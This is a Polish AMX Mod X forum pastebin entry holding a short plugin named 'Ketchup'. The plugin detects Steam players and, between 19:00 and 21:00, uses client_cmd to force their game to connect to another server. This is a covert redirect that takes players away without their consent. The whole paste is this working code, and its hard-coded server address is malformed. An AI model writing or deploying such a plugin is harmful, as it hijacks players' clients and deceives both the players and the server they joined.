Witamy w Nieoficjalnym polskim support'cie AMX Mod X
Witamy w Nieoficjalnym polskim support'cie AMX Mod X, jak w większości społeczności internetowych musisz się zarejestrować aby móc odpowiadać lub zakładać nowe tematy, ale nie bój się to jest prosty proces w którym wymagamy minimalnych informacji.
|
Guest Message by DevFuse
Wklejka 1adqsbgdujes dodana przez Droso, 28.12.2012 11:36
1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38.
#include <amxmodx> #define PLUGIN "Ketchup" #define VERSION "1.0" #define AUTHOR "HubertTM" new const ip_serwera[] = {"194.424.623:27015"} // ip i port public plugin_init() register_plugin(PLUGIN, VERSION, AUTHOR) public client_authorized(id){ set_task(5.0, "CheckSteam", id); } public client_disconnect(id) if(task_exists(id)) remove_task(id); public CheckSteam(id){ if(is_user_connected(id) && is_steam(id)) { new hTime[10]; get_time( "%H", hTime, 9 ); new hour = str_to_num(hTime); if(19 <= hour <= 21) client_cmd(id, "Connect %s", ip_serwera); } } stock bool:is_steam(id) { new auth[64]; get_user_authid(id, auth, 63); return bool:(contain(auth, "STEAM_0:0:") != -1 || contain(auth, "STEAM_0:1:") != -1); }
Dodanych wklejek: 4031
Powered By (Pav32) Pastebin © 2011